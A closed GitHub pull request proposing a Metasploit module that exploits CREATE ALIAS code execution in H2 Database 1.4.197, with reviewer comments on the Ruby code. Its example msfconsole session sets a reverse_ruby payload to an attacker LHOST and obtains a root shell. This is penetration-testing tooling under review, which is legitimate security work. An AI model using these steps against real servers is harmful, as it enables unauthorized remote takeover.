Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Jump to bottom

H2 Database Code Execution #10407

Closed
wants to merge 2 commits into from
Closed

H2 Database Code Execution #10407

wants to merge 2 commits into from

Conversation

DanielRTeixeira
Copy link
Contributor

This PR adds a module to exploit a code execution vulnerability in H2 Database version 1.4.197 using the ALIAS functionality.

Tested on: Linux x64 bit target running H2 Database 1.4.197.

Verification

List the steps needed to make sure this thing works

  • Install the application
  • Start msfconsole
  • use exploit/multi/http/h2_alias
  • set RHOST
  • Exploit
  • Get a session

Example

msf > use exploit/multi/http/h2_alias
msf exploit(multi/http/h2_alias) > set RHOST 192.168.216.23
RHOST => 192.168.216.23
msf exploit(multi/http/h2_alias) > set PAYLOAD cmd/unix/reverse_ruby
PAYLOAD => cmd/unix/reverse_ruby
msf exploit(multi/http/h2_alias) > set LHOST 192.168.216.25 
LHOST => 192.168.216.25
msf exploit(multi/http/h2_alias) > exploit 

[*] Started reverse TCP handler on 192.168.216.25:4444 
[*] Command shell session 1 opened (192.168.216.25:4444 -> 192.168.216.23:45390) at 2018-07-31 14:38:21 -0400
id

uid=(root) gid=0(root) groups=0(root)

h00die
h00die reviewed Aug 12, 2018
View reviewed changes
documentation/modules/exploit/multi/http/h2_alias.md

## Verification Steps

Example steps in this format:
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

remove this line

documentation/modules/exploit/multi/http/h2_alias.md
## Vulnerable Application

This module exploits an arbitrary code execution vulnerability in H2 Database version 1.4.197 using the ALIAS functionality. The H2 Database is used in Datomic before 0.9.5697 and other products and a copy of the vulnerable application can be downloaded from [https://www.exploit-db.com](https://www.exploit-db.com/apps/af9c1b47ddd7f3c58aaf189e25f3b714-h2-2017-06-10.zip).

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I would add a link to the download: http://www.h2database.com/h2-2018-03-18.zip

documentation/modules/exploit/multi/http/h2_alias.md

## Scenarios

Example usage against a Linux x64 bit target running H2 Database 1.4.197.
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

## H2 Database 1.4.197 on Linux x64

modules/exploits/multi/http/h2_alias.rb
super(update_info(info,
'Name' => 'H2 Arbitrary Code Execution using CREATE ALIAS',
'Description' => %q{
'H2 1.4.197, as used in Datomic before 0.9.5697 and other products, allows
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

is it only this version, or is it a "<= 1.4.197"?

documentation/modules/exploit/multi/http/h2_alias.md
@@ -0,0 +1,35 @@
## Vulnerable Application

This module exploits an arbitrary code execution vulnerability in H2 Database version 1.4.197 using the ALIAS functionality. The H2 Database is used in Datomic before 0.9.5697 and other products and a copy of the vulnerable application can be downloaded from [https://www.exploit-db.com](https://www.exploit-db.com/apps/af9c1b47ddd7f3c58aaf189e25f3b714-h2-2017-06-10.zip).
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

see other comment about version equals or <=

modules/exploits/multi/http/h2_alias.rb

uri = normalize_uri(target_uri.path, "login.do?jsessionid=#{resp}")

res = send_request_cgi({
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

you never check to ensure the login was successful. res isn't used at all. I'd prefer a quick check to ensure the login was a success on the res variable.

modules/exploits/multi/http/h2_alias.rb
resp=res.body.scan(/jsessionid=(\w+)/).flatten.first

uri = normalize_uri(target_uri.path, "login.do?jsessionid=#{resp}")

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

maybe a vprint_status('Attempting Login')

modules/exploits/multi/http/h2_alias.rb
'password' => datastore['PASSWORD']
}
})
res = send_request_cgi({
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Maybe a vprint_status('Triggering RCE')

modules/exploits/multi/http/h2_alias.rb
'password' => datastore['PASSWORD']
}
})
res = send_request_cgi({
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

res is never used, in this case since you prob wont use it for anything, id just remove res =

modules/exploits/multi/http/h2_alias.rb

def initialize(info = {})
super(update_info(info,
'Name' => 'H2 Arbitrary Code Execution using CREATE ALIAS',
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I can see h2 being a product naming collision in the future, maybe H2 Database CREATE ALIAS RCE is more descriptive but shorter?

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Agreed. The original exploit name was similar; H2 Database 'Alias' Arbitrary Code Execution.

@bcoles
Copy link
Contributor

bcoles commented Aug 26, 2018

Closed at request of @DanielRTeixeira in preparation for new PR.

@bcoles bcoles closed this Aug 26, 2018
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Reviewers

@bcoles bcoles bcoles left review comments

@h00die h00die h00die left review comments

Assignees
No one assigned
Labels
docs module
Projects
None yet
Milestone
No milestone
Development

Successfully merging this pull request may close these issues.

None yet
4 participants
@DanielRTeixeira @bcoles @h00die @acammack-r7